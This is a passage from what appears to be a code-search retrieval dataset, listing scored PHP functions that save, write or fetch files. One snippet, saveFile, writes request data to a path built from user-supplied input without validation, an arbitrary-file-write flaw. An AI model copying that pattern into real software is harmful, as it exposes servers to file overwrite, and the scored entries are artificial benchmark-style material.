save_file($file, $settings) {\n // This must be overriden.\n $this->file_cache_clear();\n\n // Save the file metadata if the destination supports it.\n $this->save_file_info($file, $settings);\n return $this->_save_file($file, $settings);\n }", "title": "" }, { "docid": "f043f33cd899fb8eab556e0cdd847595", "score": "0.60769534", "text": "public function save($pFilename);", "title": "" }, { "docid": "9689b05bcb2cad3df760dd19ef12474c", "score": "0.6060065", "text": "private function saveFile() {\n\t\tif($this->get_request_method() != \"POST\"){\n\t\t\t$this->response('',406);\n\t\t}\n\t\t\n\t\t$roughHTTPPOST = file_get_contents(\"php://input\");\n\t\t$rep = array( 'roughHTTPPOST' => strlen( $roughHTTPPOST ) );\n\t\t//parse it into vars\n\t\t$post = $this->parse_query_string($roughHTTPPOST, 2, false); // on attend 2 paramètres\n\t\t$str = $post['str'];\n\t\n\t\t$rep['taille-entree'] = strlen( $str );\n\t\t$rep['taille-sortie'] = file_put_contents( $this->path_root . ltrim( $post['path'], '/' ), $str );\n\t\t\n\t\t$rep['success'] = ( $rep['taille-sortie'] !== false );\n\n \t\t$this->response( json_encode($rep), 200 );\n\t}", "title": "" }, { "docid": "cd096cdd8b018f9cd9619b4833e2eacb", "score": "0.6056853", "text": "public function save($file){\n\t\treturn false;\n\t}", "title": "" }, { "docid": "abadb4f4dc7ee1c857a4b969fd4b668a", "score": "0.6015182", "text": "function getFile($id,$pathToSave){\n\t\t$AccessToken = Auth::token();\n\t\t$baseUrl = url . '/api/v1/' . customerAlias . '/' . databaseAlias;\n\t\t$endpoint = '/files/';\n\t\t$request = $baseUrl . $endpoint . $id;\n\t\t$file = fopen($pathToSave, 'w');\n\t\t$ch = curl_init();\n\t\tcurl_setopt_array($ch, array(\n\t\t\tCURLOPT_HTTPGET => true,\n\t\t\tCURLOPT_HTTPHEADER => array(\n\t\t\t\t'Authorization: Bearer ' . $AccessToken),\n\t\t\tCURLOPT_URL => $request,\n\t\t\tCURLOPT_FILE => $file,\n\t\t\tCURLOPT_VERBOSE => 1\n\t\t\t));\n\t\tcurl_exec($ch);\n\t\tfwrite($file, '');\n\t\tfclose($file);\n\t\tcurl_close($ch);\n\t}", "title": "" }, { "docid": "99be9dd1cb2f584bbdaad25551b7e9fc", "score": "0.59910244", "text": "function _save_file($file, $settings) {\n // This must be overriden.\n return $file;\n }", "title": "" }, { "docid": "cc0a2fe233cc7c3444648c44b0226332", "score": "0.598441", "text": "public function save()\n {\n $this->resetErrorBag();\n\n if ($this->file) {\n $file = File::createAndSave($this->file);\n\n session()->flash('upload-url', $file->resource_url);\n }\n\n $this->reset('file');\n }", "title": "" }, { "docid": "aec69a6c2514e8bec64df1d5e8e38905", "score": "0.59502774", "text": "protected function save($file, $path)\n {\n return $file->saveAs($path, $this->deleteTempFile);\n }", "title": "" }, { "docid": "a7c8a578dd64ffa31277c0388485d759", "score": "0.59484756", "text": "public function save () {\n\t\treturn file_put_contents(self::filepath($this->name), $this->content);\n\t}", "title": "" }, { "docid": "9525efb7dc18891726d01904a65b9a33", "score": "0.59478235", "text": "public function saveToFile($filename)\n {\n }", "title": "" }, { "docid": "6ebb843e7925ceca67da02dd62e2629e", "score": "0.59348416", "text": "public function save(): void {\n file_put_contents($this->getFilename(), $this->getContent());\n }", "title": "" }, { "docid": "4a32288e7b847866bfdd7b3fdb0de471", "score": "0.59150904", "text": "public function save($filename = null);", "title": "" }, { "docid": "90426dbd8cded08bddc0c145ad602f88", "score": "0.5905122", "text": "public function save($filename='archive.zip')\n {\n file_put_contents($filename, $this->file());\n }", "title": "" }, { "docid": "17b2a40d5c75e91d824e92753836cad3", "score": "0.5870032", "text": "protected function saveFile($file): string\n {\n return $this->vk->api('docs.save', [\n 'file' => $file,\n ])['response'][0]['url'];\n }", "title": "" }, { "docid": "54460220a52a99946650a9d3e13c11ad", "score": "0.5855929", "text": "public function save($fileName, $data);", "title": "" }, { "docid": "7b1bd3c4461c5bd454a9d80b2721e4d8", "score": "0.5852709", "text": "protected function saveFile()\n {\n $domxml = new \\DOMDocument('1.0');\n $domxml->preserveWhiteSpace = false;\n $domxml->formatOutput = true;\n $domxml->loadXML($this->xml->asXML());\n $domxml->save($this->xmlFilePath);\n }", "title": "" }, { "docid": "218ee2a3c464dee43b59c9fbccc41143", "score": "0.58464324", "text": "public function save(FileInterface $file_object);", "title": "" }, { "docid": "480e60ded66bf3b1f2156c86bec3e2e7", "score": "0.58454514", "text": "function save_file($file, $contents)\n{\n $handle = fopen($file, \"wb\");\n $numbytes = fwrite($handle, $contents);\n fclose($handle);\n return $file;\n}", "title": "" }, { "docid": "972954d70e38f2f82412110ae7c76fd8", "score": "0.5815242", "text": "public function save($data, $file)\r\n\t{\r\n\t\tif (file_put_contents($file, $this->getAdapter($file)->dump($data)) === FALSE) {\r\n\t\t\tthrow new Nette\\IOException(\"Cannot write file '$file'.\");\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "53c513f6c664b4267188c32afa46cf4a", "score": "0.58043987", "text": "public function save(){\n if($this->is_delete) return unlink(self::$filename);\n return file_put_contents(self::$filename, serialize($this));\n }", "title": "" }, { "docid": "1209365792e8435e284cfdb36a78d7d8", "score": "0.5802585", "text": "public function save()\n {\n switch ($this->fileType) {\n case self::TYPE_JSON :\n $content = json_encode($this->data);\n break;\n default : $content = '<?php return '. var_export($this->data, true) . ';';\n }\n if (function_exists('apc_clear_cache')) {\n apc_clear_cache();\n }\n if (function_exists('opcache_reset')) {\n opcache_reset();\n }\n return file_put_contents($this->writePath, $content);\n }", "title": "" }, { "docid": "d986570238f6a1930b3d6a929b264871", "score": "0.57928956", "text": "static function save($file, $content = '') {\n return self::put($file, $content);\n }", "title": "" }, { "docid": "0e4ba23b491328ae3d0d0fd257cabb52", "score": "0.57904744", "text": "public function writeFile(){\n fwrite($this->fp, $this->saida);\n }", "title": "" }, { "docid": "e6fa92133eac5e5aa0a00d01ae91872e", "score": "0.5776766", "text": "public function save()\n\t{\n\t\treturn $this->saveAs($this->getFilename());\n\t}", "title": "" }, { "docid": "be5bc72006b32e3179b01a91fe248b55", "score": "0.57762676", "text": "private function save_file($file)\n {\n $original_file = $file;\n\n $new_name = Str::random();\n $new_full_name = $new_name . \".dsl\";\n $path = Storage::putFileAs('uploads', $original_file, $new_full_name);\n\n return $path;\n }", "title": "" }, { "docid": "1e66fd4b31492108b29ce446df66a8c3", "score": "0.5764784", "text": "function fileSave($file, $options)\n {\n $destination = $options['destination'] ?? 'private';\n $title = $options['title'] ?? null;\n $description = $options['desc'] ?? null;\n $tableName = $options['tableName'] ?? null;\n $tableId = $options['tableId'] ?? 0;\n $fileOptions = $options['options'] ?? [];\n\n $file = processUpload($file, $destination, $title, $description);\n if ($file->fileName && $file->type) {\n $tag = retrievedFileOption($options, 'tag');\n $user_id = (__me()) ? __me()->id : 0;\n\n // process image\n if (count($fileOptions) && $file->type === 'photo') {\n processImage($destination . '/' . $file->fileName, retrievedFileOption($options));\n }\n\n // optimized image\n if ($file->type === 'photo') {\n $optimizerChain = OptimizerChainFactory::create();\n $optimizerChain->optimize($destination . '/' . $file->fileName);\n }\n\n // remove previous upload\n if (retrievedFileOption($options, 'remove_previous') === true) {\n File::remove(['user_id' => $user_id, 'table_name' => $tableName, 'table_id' => $tableId, 'tag' => $tag]);\n }\n\n // save to database\n $fileSave = File::store([\n 'user_id' => $user_id,\n 'title' => $file->title,\n 'description' => $description,\n 'file_name' => $file->fileName,\n 'type' => $file->type,\n 'ext' => $file->ext,\n 'img_width' => $file->img_width,\n 'img_height' => $file->img_height,\n 'table_name' => $tableName,\n 'table_id' => $tableId,\n 'tag' => $tag\n ]);\n\n if ($fileSave) {\n // database details\n $file->db = $fileSave;\n return $file;\n } else {\n // delete if not successful saving to database\n fileDestroy($destination . '/' . $file->fileName);\n }\n }\n\n return null;\n }", "title": "" }, { "docid": "95b86ee2fa8738b599a181e907e62f96", "score": "0.5764386", "text": "abstract public function save(SplFileInfo $file);", "title": "" }, { "docid": "2e6bf47f0e62feb7d8973367d835dafe", "score": "0.5759691", "text": "function save( $file ) {\r\n\t\t$this->mergeBlockData();\r\n\r\n\t\t// Too large for impload, concat ourselves\r\n\t\t$data = '';\r\n\t\tforeach( $this->data as $line ) {\r\n\t\t\t$data .= $line . \"\\n\";\r\n\t\t}\r\n\r\n\t\tfile_put_contents( $file, $data );\r\n\t}", "title": "" }, { "docid": "5d7d9340a4128174be2a0a4e5284dc82", "score": "0.57577455", "text": "public function saveFile($model, $file)\n\t{\n\t\t// create new file\n\t\t$dirname = strtolower( class_basename($model) ) . 's';\n\n\t\tif ( $dirname === 'users' ) {\n\t\t\t$filepath = public_path(\"img/$dirname/{$model->id}\");\n\t\t} else {\n\t\t\t$filepath = storage_path(\"$dirname/{$model->id}\");\n\t\t}\n\n\t\t$extension = $file->getClientOriginalExtension();\n\n\t\t$filename = str_replace(\n\t\t\t\".$extension\",\n\t\t\t\"-\" . rand(11111, 99999) . \".$extension\",\n\t\t\t$file->getClientOriginalName()\n\t\t);\n\n\t\t// save the file\n\t\t$file->move($filepath, $filename);\n\n\t\t// add file to db\n\t\treturn $this->addFileToDatabase( $file, $filename, $model );\n\t}", "title": "" }, { "docid": "218585c7dac3821ef39ab98d5c597c00", "score": "0.5757497", "text": "protected function _save_to_file()\n {\n clearos_profile(__METHOD__, __LINE__);\n\n try {\n $file = new File(CLEAROS_CACHE_DIR . \"/mp-cart.\" . $this->CI->session->userdata['sdn_rest_id']);\n\n if (!$file->exists())\n $file->create('webconfig', 'webconfig', 600);\n\n $lines = array();\n foreach ($this->contents as $lineitem)\n $lines[] = serialize($lineitem);\n $file->dump_contents_from_array($lines);\n\n // Force reload\n $this->is_loaded = FALSE;\n } catch (Exception $e) {\n throw new Engine_Exception(clearos_exception_message($e), CLEAROS_WARNING);\n }\n }", "title": "" }, { "docid": "072c4bdd1c2ae40937f34a8e1259ab1e", "score": "0.57337296", "text": "public function saveFile(UploadedFile $file, $path , $filename);", "title": "" }, { "docid": "c0f955e3b61fa78c12bfb89fa513b629", "score": "0.5732946", "text": "public function saveFileContent($fileName, $content);", "title": "" }, { "docid": "c0f955e3b61fa78c12bfb89fa513b629", "score": "0.5732946", "text": "public function saveFileContent($fileName, $content);", "title": "" }, { "docid": "d88be2e568c217d81e24b21beba1ce18", "score": "0.572921", "text": "public function saveToDisk()\n {\n return file_put_contents($this->filename, $this->__toString(), LOCK_EX);\n }", "title": "" }, { "docid": "1ec2a567d7ca918e65406d9436459b63", "score": "0.5680661", "text": "public function saveToFile() {\n\t\treturn call_user_func_array(array($this, 'save'), func_get_args());\n\t}", "title": "" }, { "docid": "ae75881e8e60d616adb3547dd05755af", "score": "0.5679173", "text": "protected function saveFile()\n {\n \\Excel::store(new BookingExportExcel($this->collection), '/temp/' . $this->filename, 'local');\n\n // Call action to create a generated report model and attach this file as a media object.\n // This will then move the file to the appropriate folder on the 'exports' disk so that\n // we are able to filter exports based by a user or an agent.\n return (new PersistExportedFileAction())->execute($this);\n }", "title": "" }, { "docid": "9c4197d868488a8faa70b080c7648e18", "score": "0.5675759", "text": "private function saveFile()\n {\n $dirMedia = $this->filesystem->getDirectoryWrite(ADirList::MEDIA);\n $dirTarget = $dirMedia->getAbsolutePath(self::MEDIA_SUBFOLDER);\n $fileId = self::FIELDSET . '[' . self::FIELD_CSV_FILE . ']';\n// $fileId = self::FIELD_CSV_FILE;\n// $fileId = self::FIELDSET;\n $uploader = $this->factUploader->create(['fileId' => $fileId]);\n $uploader->setAllowRenameFiles(true);\n $result = $uploader->save($dirTarget);\n if (isset($result['path']) && isset($result['file'])) {\n $fullpath = $result['path'] . $result['file'];\n $this->logger->info(\"Uploaded file is saved into '$fullpath'.\");\n }\n return $result;\n }", "title": "" }, { "docid": "d876b58505adbd019077275d1b06bb93", "score": "0.5669965", "text": "public function saveFile(File $f){\n if($this->fDAO->saveFile($f) == false){\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "1f45be9626a6f4c697c577e42a861ef4", "score": "0.5653155", "text": "function savefile(){\r\n\t\t//$this->data['template']['content'] = the file data! < this is how this will come through\r\n\t\t//not really sure how to error check at this point, i suppose i could make sure its not empty..\r\n\t\t$output = \"\";\r\n\t\t$filepath = $this->data['template']['filepath'];\r\n\t\tif (is_writable($filepath)) {\r\n\t\t if (!$handle = fopen($filepath, 'w')) {\r\n\t\t $output .= \"Cannot open file ($filepath)\";\r\n\t\t exit();\r\n\t\t }\r\n\t\t\r\n\t\t // Write $somecontent to our opened file.\r\n\t\t if (fwrite($handle, $this->data['template']['content']) === FALSE) {\r\n\t\t $output .= \"Cannot write to file ($filepath)\";\r\n\t\t exit();\r\n\t\t }\r\n\t\t\r\n\t\t $output .= \"Success, wrote to file ($filepath)\";\r\n\t\t\r\n\t\t fclose($handle);\r\n\t\t\r\n\t\t} else {\r\n\t\t $output .= \"The file $filepath is not writable\";\r\n\t\t}\r\n\t\t\r\n\t\t$this->set('saveout', $output);\r\n\t\t$this->set('debug', $this->data);\r\n\t}", "title": "" }, { "docid": "da88aef043ad98246a552373541d38f7", "score": "0.5633602", "text": "public function save(Application_Model_DiplomaFiles $file)\n\t{\n\t\tif ($file->file_id != null)\n\t\t$oldData = new Application_Model_DiplomaFiles($file->file_id);\n\t\telse\n\t\t$oldData = null;\n\n\t\tparent::save($file);\n\t\t \n\t\tif (strstr($file->path, 'cache'))\n\t\t{\n\t\t\t//save file, otherwise save data only\n\t\t\t$options = Zend_Registry::get('options');\n\t\t\t$this->_copyFile($file, 'path', $options['upload']['diplomas'].$file->getFileFolder(), $file->getFileName(), $oldData);\n\t\t}\n\t}", "title": "" }, { "docid": "05acfce502e0fa3e55a7de3652cd9860", "score": "0.5627758", "text": "protected function saveFile($file, $content)\n {\n if (!$this->settings['replace-existing-file'] && is_file($file)) {\n throw new FileAlreadyExistsException('File \"' . $file . '\" already exists');\n }\n\n $fh = @fopen($file, 'w');\n if (!$fh) {\n throw new IOException('File \"' . $file . '\" unable to create or open for writing');\n }\n $content = @fwrite($fh, $content);\n @fclose($fh);\n }", "title": "" }, { "docid": "e68a1990238b124a35a4c1f006eb6452", "score": "0.56217223", "text": "function save()\n\t{\n\t\t// Check for request forgeries\n\t\tJRequest::checkToken() or jexit( 'Invalid Token' );\n\n\t\t$task\t\t= JRequest::getVar('task');\n\n\t\t//Sanitize\n\t\t$post = JRequest::get( 'post' );\n\n\t\t$model = $this->getModel('file');\n\n\t\tif ($model->store($post)) {\n\n\t\t\tswitch ($task)\n\t\t\t{\n\t\t\t\tcase 'apply' :\n\t\t\t\t\t$link = 'index.php?option=com_flexicontent&controller=filemanager&task=edit&cid[]='.(int) $model->get('id');\n\t\t\t\t\tbreak;\n\n\t\t\t\tdefault :\n\t\t\t\t\t$link = 'index.php?option=com_flexicontent&view=filemanager';\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\t$msg = JText::_( 'FLEXI_FILE_SAVED' );\n\n\t\t\t$model->checkin();\n\t\t\t\n\t\t\t$cache = &JFactory::getCache('com_flexicontent');\n\t\t\t$cache->clean();\n\n\t\t} else {\n\n\t\t\t$msg = JText::_( 'FLEXI_ERROR_SAVING_FILENAME' );\n\t\t\tJError::raiseError( 500, $model->getError() );\n\t\t\t$link \t= 'index.php?option=com_flexicontent&view=filemanager';\n\t\t}\n\n\t\t$this->setRedirect($link, $msg);\n\t}", "title": "" }, { "docid": "02ae894e9ac32830b4520180308a9847", "score": "0.56212485", "text": "public function getFile();", "title": "" }, { "docid": "02ae894e9ac32830b4520180308a9847", "score": "0.56212485", "text": "public function getFile();", "title": "" }, { "docid": "02ae894e9ac32830b4520180308a9847", "score": "0.56212485", "text": "public function getFile();", "title": "" }, { "docid": "02ae894e9ac32830b4520180308a9847", "score": "0.56212485", "text": "public function getFile();", "title": "" }, { "docid": "02ae894e9ac32830b4520180308a9847", "score": "0.56212485", "text": "public function getFile();", "title": "" }, { "docid": "02ae894e9ac32830b4520180308a9847", "score": "0.56212485", "text": "public function getFile();", "title": "" }, { "docid": "02ae894e9ac32830b4520180308a9847", "score": "0.56212485", "text": "public function getFile();", "title": "" }, { "docid": "02ae894e9ac32830b4520180308a9847", "score": "0.56212485", "text": "public function getFile();", "title": "" }, { "docid": "0d03fa0898d136355517cca606e674ad", "score": "0.559868", "text": "protected function saveToFile($data, $file)\n\t{\n\t\t$collection = $this->getCollection($file);\n\n\t\t//have to set the _id for scenario update\n\t\tif (isset($this->_id))\n\t\t\t$data['_id'] = new MongoId($this->_id);\n\n\t\t$data['configId'] = $this->configId;\n\n\t\t$collection->save($data);\n\n\t\t//if this is a new record the _id value is created\n\t\t//assign $this->_id is important when authManager->save() is called more than once\n\t\t$this->_id = $data['_id'];\n\t}", "title": "" }, { "docid": "c727582ea5453f933273e712c57cfa6b", "score": "0.55955416", "text": "function save($to) {\n if(is_animated_gif($this->file_path) OR $this->file_format == 'swf') {\n if(is_uploaded_file($this->file_path)) {\n return move_uploaded_file($this->file_path,$to);\n } else {\n copy($this->file_path, $to);\n chmod($to,0755);\n return true;\n }\n } elseif(!is_null($this->image)) {\n try {\n $this->image->save($to);\n } catch (Exception $e) {\n return false;\n }\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "eecca2cd47c46f1a21ac840a02360676", "score": "0.55875444", "text": "public function saveAs($filename, $filePath) {\n \n }", "title": "" }, { "docid": "8ec63d5b25eb5c989dffed235b8867c9", "score": "0.55834794", "text": "public function save()\n {\n $file = $this->file();\n if ($file) {\n $file->save($this->items);\n }\n }", "title": "" }, { "docid": "2a772e12496ad6a987c91c9ad7b73c47", "score": "0.55728036", "text": "function saveFile() {\n //$this->log_faction(\"savefile\");\n if (isset($_FILES['Filedata'])) {\n $_POST = $_SESSION[\"upload\"][$_GET['form_id']];\n $new_name = SITE_PATH . \"/cache/upl_\" . session_id() . \"_\" . $_GET[\"file\"];\n move_uploaded_file($_FILES['Filedata']['tmp_name'], $new_name);\n $_FILES['Filedata']['tmp_name'] = $new_name;\n foreach ($_POST as $k => $v) {\n $$k = $v;\n }\n\n $file_name = $_FILES['Filedata'][\"name\"];\n $file_size = $_FILES['Filedata'][\"size\"];\n $filedata = $_FILES['Filedata'][\"tmp_name\"];\n\n if ($up_data = $this->uploadFile($this->folder, $file_name, $file_size, $filedata, $this->pic_size, $this->pic_size_thumb)) {\n $_SESSION[\"upload\"][$_GET['form_id']][\"files\"][] = $up_data;\n }\n }\n exit();\n }", "title": "" }, { "docid": "09b538a883da902bfacc9612b8b89647", "score": "0.5564008", "text": "public function save($fileName) /* TODO throw IOException*/ {\r\n\r\n $f= fopen($fileName,'w');\r\n if($f==false)\r\n {\r\n \tdie(\"Unable to create file\");\r\n }\r\n else\r\n {\r\n if (file_exists($fileName)) {\r\n// TODO if (Utils::yesNo(\"File $exists-> \" + \"Overwrite ($this->y/$this->n)?\"))\r\n $this->writeData($f);\r\n }\r\n else\r\n {\r\n $this->writeData($f);\r\n }\r\n }\r\n }", "title": "" }, { "docid": "5cd5ae069e83fe14c1485da4e4ca0fdd", "score": "0.55549973", "text": "public function savefile()\n {\n fb('file upload ajax facade called');\n $file_id = $this->request->getProperty('file_id');\n $object_id = $this->request->getProperty('parent_id');\n $description = $this->request->getProperty('description');\n $title = $this->request->getProperty('title');\n $trans_id = $this->request->getProperty('trans_id');\n $submission_status = $this->request->getProperty('submission_status');\n if (utilityclass::missingvalues(array($object_id))) {\n $this->error = new jsonerror(AJAX_ARGUMENT_MISSING);\n } else {\n permissioncheck::savefilepermitted($object_id);\n $result = fileobject::saveFileEntry($title, $description, $submission_status, $trans_id, $file_id);\n // now check to see if the 'submit for review' checkbox was checked\n if (!is_null($submission_status)) {\n //create an approval chain for this file\n approvalchain::initialize_chain($result['new_file_id'], $submission_status);\n }\n self::userdata();\n }\n }", "title": "" }, { "docid": "bfa7ae0fa6d440d41387d1abe6268c32", "score": "0.5548567", "text": "function save($filename, $contents)\n\t{\n if (!$fp = fopen($filename, 'wb')) {\n raiseError(\"Cannot open file ($filename)\");\n }\n if(empty($contents))\n raiseError(\"Nothing to write into file ($filename)\");\n if (!fwrite($fp, $contents)) {\n raiseError(\"Cannot write to file ($filename)\");\n }\n\t\tfclose($fp);\n\t}", "title": "" }, { "docid": "0630789b6de861f94689ea7b531f6c6a", "score": "0.5544474", "text": "public function _save_img_file() {\n\t\t$file_ = $this->input->post('filename');\n\t\t$uri_ = $this->input->post('uri_');\n\t\t$path = $this->config->item('image_upload') . '/' . $file_;\n\t\tchmod($path, 0777);\n\t\t$fp = (file_exists($path)) ? fopen($path, \"a+\") : fopen($path, \"wb\");\n\t\t$ch = curl_init();\n\t\tcurl_setopt($ch, CURLOPT_POST, 0);\n\t\tcurl_setopt($ch, CURLOPT_URL, $uri_);\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\t\t$result = curl_exec($ch);\n\t\tcurl_close($ch);\n\t\tfwrite($fp, $result);\n\t\tfclose($savefile);\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "a159504b5edbe38df314a409f7a390e1", "score": "0.553841", "text": "protected function _saveUploadedFile()\n {\n $returnData = $this->fileManager->writeFile($this->temporaryFile, $this->relativePath . $this->fileName . '.' . $this->extension);\n unlink($this->temporaryFile);\n return $returnData;\n }", "title": "" }, { "docid": "df8412c300f752aaa42fceb05049a5c0", "score": "0.55357915", "text": "public function save($fileName = null)\r\n {\r\n if(null === $fileName) {\r\n return $this->toString();\r\n } else {\r\n file_put_contents($fileName, $this->toString());\r\n }\r\n }", "title": "" }, { "docid": "34936c4173018a7d3844a3981cb73f80", "score": "0.5535492", "text": "public function save_into_file($filename)\r\n {\r\n\r\n $file_handle = fopen($filename, 'c+x+');\r\n\r\n $this->setopt(CURLOPT_FILE, $file_handle);\r\n }", "title": "" }, { "docid": "229f3cc1f6fc59a19f3a7da1ce752f59", "score": "0.5528676", "text": "function save( $file ) {\n\t\t$this->merge_block();\n\t\t$data = implode( \"\\n\", $this->block );\n\t\tfile_put_contents( $file, $data );\n\t}", "title": "" }, { "docid": "eed683297c2329ae355bc46e2b20e73b", "score": "0.5522654", "text": "protected function saveToTemporaryFile()\n {\n if (file_exists($this->sourceImagePath) && !$this->optionsBag->get('refresh')) {\n return;\n }\n\n $opts = [\n 'http' =>\n [\n 'header' => $this->optionsBag->appParameters()->parameterByKey('header_extra_options'),\n 'method' => 'GET',\n 'max_redirects' => '5',\n ],\n ];\n $context = stream_context_create($opts);\n\n if (!$stream = @fopen($this->sourceImageUrl, 'r', false, $context)) {\n throw new ReadFileException(\n 'Error occurred while trying to read the file Url : '\n . $this->sourceImageUrl\n );\n }\n $content = stream_get_contents($stream);\n fclose($stream);\n file_put_contents($this->sourceImagePath, $content);\n }", "title": "" }, { "docid": "620b9990ce594f6d58822e6ddecc8220", "score": "0.5522307", "text": "public function save(): void\n {\n file_put_contents($this->filepath, $this->getSerializedStructure());\n }", "title": "" }, { "docid": "1d0b53b6dac3f7056eb16860f20c231e", "score": "0.55044705", "text": "public function saveToDisk($file = null)\n {\n if ($file !== null && is_string($file)) {\n if (file_exists($file) && !(is_file($file) && is_writable($file))) {\n throw new OdfException('Permission denied : can\\'t create ' . $file);\n }\n $this->_save();\n copy($this->tmpfile, $file);\n } else {\n $this->_save();\n }\n }", "title": "" }, { "docid": "ae87204f32a5e742ea8fee3a15cc41bb", "score": "0.5503031", "text": "private function storeFile()\n {\n file_put_contents(\\Yii::getAlias('@runtime/data/' . $this->filename), $this->data. \"\\n\");\n }", "title": "" }, { "docid": "10a7534f6ef8cfd15696d1cdc9f30622", "score": "0.5495953", "text": "private function _save($pFile)\n {\n if (isset($this->_files[$pFile])) {\n return FileData::write($pFile, json_encode($this->_files[$pFile]));\n }\n }", "title": "" }, { "docid": "60b69771e310f5594c3df1a4c389d60d", "score": "0.54959315", "text": "function saveAsFile($diagram, $savePath)\n {\n if (is_dir($savePath)) {\n $filePath = $savePath . '/' . $this->cleanFileName($diagram->id) . '.bpmn';\n } else {\n $filePath = './' . $this->cleanFileName($diagram->id) . '.bpmn';\n }\n $handle = fopen($filePath, 'c+');\n ftruncate($handle, filesize($filePath));\n fwrite($handle, $diagram->bpmn20Xml);\n fclose($handle);\n return $filePath;\n }", "title": "" }, { "docid": "2297ac2caf3b2339beeacfad1fc0f0f6", "score": "0.5473017", "text": "private function saveUploadedFile($file, $user, $parentId=null)\n {\n $uploadedFilePath = $file->getRealPath();\n $contents = file_get_contents($uploadedFilePath);\n\n // Get the user's organisation's encryption key\n $encryptionKey = $user->organisation()->first()->encryption_key;\n\n // Encrypt the file contents\n $encryption = new Encryption($encryptionKey);\n $encryptedContents = $encryption->encrypt($contents);\n\n // Create a unique path for the file\n do {\n $storageName = time() . uniqid();\n $storagePath = 'contact-files/' . $storageName;\n } while (Storage::exists($storagePath));\n\n // Store the file\n Storage::put($storagePath, $encryptedContents);\n $file = File::create([\n 'path' => $storagePath,\n 'filename' => $file->getClientOriginalName(),\n 'mime_type' => $file->getMimeType(),\n 'encrypted' => true,\n 'parent_id' => $parentId\n ]);\n $file->update(['metadata' => $file->parseMetadata($user)]);\n return $file;\n }", "title": "" }, { "docid": "3b163f220f5e1205c8cbf43702c0c8a0", "score": "0.5471347", "text": "public function saveFile(File $file)\n {\n if (!$this->getConnection()) {\n return null;\n }\n \n $node = $this->nodeFromFile($file);\n if (!$node) {\n return null;\n }\n $this->alfresco->save();\n }", "title": "" }, { "docid": "20ba92706764f1144b00abab7276a10b", "score": "0.5461024", "text": "public function getFile()\r\n {\r\n return $this->flushToFile;\r\n }", "title": "" }, { "docid": "11577b04093fe0a2a20da6a08696d5ea", "score": "0.5460547", "text": "public function store(Storage_Model_File $model, $file);", "title": "" }, { "docid": "66a40e1a64f882a69c853a343be9ba82", "score": "0.5459906", "text": "final public function getFile() { }", "title": "" }, { "docid": "e290fb7132fe5ebaa0bada97d9857c1d", "score": "0.54575455", "text": "public function save($file, $path)\n\t{\n\n\n\t\t// Config the path to put the file\n\t\t$this->url($path);\n\t\n\t\t// Get the type of the file\n\t\t$type=stristr($file['photo']['type'], '/', true);\n\t\t// Check if the file is a photo or a video\n\t\tif($type==='image' || $type==='video' ) {\n\n\t\t\tif ($type==='video' && $path='users') {\n\t\t\t\treturn $this->response(404, \"Les vidéos ne sont pas autorisées en photo de profile\");\n\t\t\t}\n\n\t\t\t//Upload the file in the repository\n\t\t\t$files = $this->web->receive(function($file,$formFieldName){\n\n\t\t\t\t// Check if the file isn't too heavy\n\t\t\t\treturn $this->checkSize($file['type'], $file['size'] );\n\t\t\t\t// return false;\n\n\t \t\t}, true, function($file, $formFieldName) {\n\t\t \n\t\t // Get the extension and rename the file with an uniq id\n\t\t $tab = explode('.',$file);\n\t\t $ext = $tab[count($tab)-1];\n\t \t\t\treturn uniqid().'.'.$ext;\n\n\t \t\t});\n\n\t\t\tif(!$files[key($files)]) {\n\t \t\t\t// If the upload don't work, return error to the controller\n\t\t\t\treturn $this->response(404, \"Le fichier pèse plus de 2Mo\");\n\t \t\t}\n\n\t \t\t// Check the path of the file\n\t \t\t// If users, we resize and crop the file to avoid the deformation \n\t\t\tif($path == 'users') {\n\t\t\t\t\n\t\t\t\t$tab = explode('/',$file['photo']['type']);\n\t\t $type = $tab[count($tab)-1];\n\t\t\t\t$this->resize(key($files), $type);\n\n\t\t\t}\n\n\t\t\t// If upload is Ok\n\t\t\treturn $this->response(200, key($files));\n\n\t\t} else {\n\n\t\t\t// If upload return an error\n\t\t\treturn $this->response(404, \"Un problème est survenue durant l'upload\");\n\t\t}\n\t}", "title": "" }, { "docid": "8ba950021f0950ce5dc51bf4888c2b11", "score": "0.54399294", "text": "public function save($filename=null)\n\t{\n\t\tif (!$filename) {\n\t\t\t$filename = time() . '.sav';\n\t\t}\n\t\tif ($fp = fopen($filename, 'wb+')) {\n\t\t\tfwrite($fp, $this->make());\n\t\t\tfclose($fp);\n\t\t}\n\t}", "title": "" }, { "docid": "6fb31b74acb0037e94c8bb23f0013992", "score": "0.5437562", "text": "public function save(FileInterface $file)\n {\n $filename = $this->getSavePath($file);\n\n if (empty($filename)) {\n throw new \\Exception('Filename cannot be empty.');\n }\n\n if (empty(pathinfo($filename)['extension'])) {\n throw new \\Exception('Filename must contain an extension.');\n }\n\n if (!is_writable(dirname($this->save_path))) {\n throw new \\Exception('Destination folder not allowed to writable: ('.dirname($this->save_path).'). Please check permissions. Or read README file.');\n }\n\n if ($file->create($filename)) {//file created successful\n return $this->print_path.$this->new_file_name;\n } else {//file is not created\n return false;\n }\n }", "title": "" }, { "docid": "ec2a1f073e3f4a1863ef2e4ce9aaddbf", "score": "0.5429047", "text": "public function retrieve(File $file);", "title": "" }, { "docid": "44ef72866a51a7fe1badd1e876034e07", "score": "0.5418677", "text": "public function store($file,$id,$tipo){\n if($tipo=='post'){\n $idPost=$id;\n $idDocumento=null;\n $idReport=null;\n }\n\n if($tipo=='file'){\n $idPost=null;\n $idDocumento=$id;\n $idReport=null;\n }\n\n if($tipo=='report'){\n $idPost=null;\n $idDocumento=null;\n $idReport=$id;\n }\n\n DB::beginTransaction();\n try {\n\n $fileObject['publicacion_id']=$idPost; \n $fileObject['documento_id']=$idDocumento;\n $fileObject['reporte_id']=$idReport;\n $fileObject['path']='';\n $fileObject['nombre']=$file->getClientOriginalName();\n $fileObject['extension']=substr($file->getClientOriginalName(), -3);\n \n $idFile = File::create($fileObject);\n\n $currentFile=File::find($idFile->id);\n $currentFile->path='storage/files/'.$idFile->id.'/'.$file->getClientOriginalName();\n $currentFile->save();\n \n $this->toDisk($file,$idFile->id);\n \n DB::commit();\n } catch (\\Exception $e) {\n DB::rollback();\n }\n }", "title": "" }, { "docid": "a0c3915cbdc773cb1ec92f9924583ae6", "score": 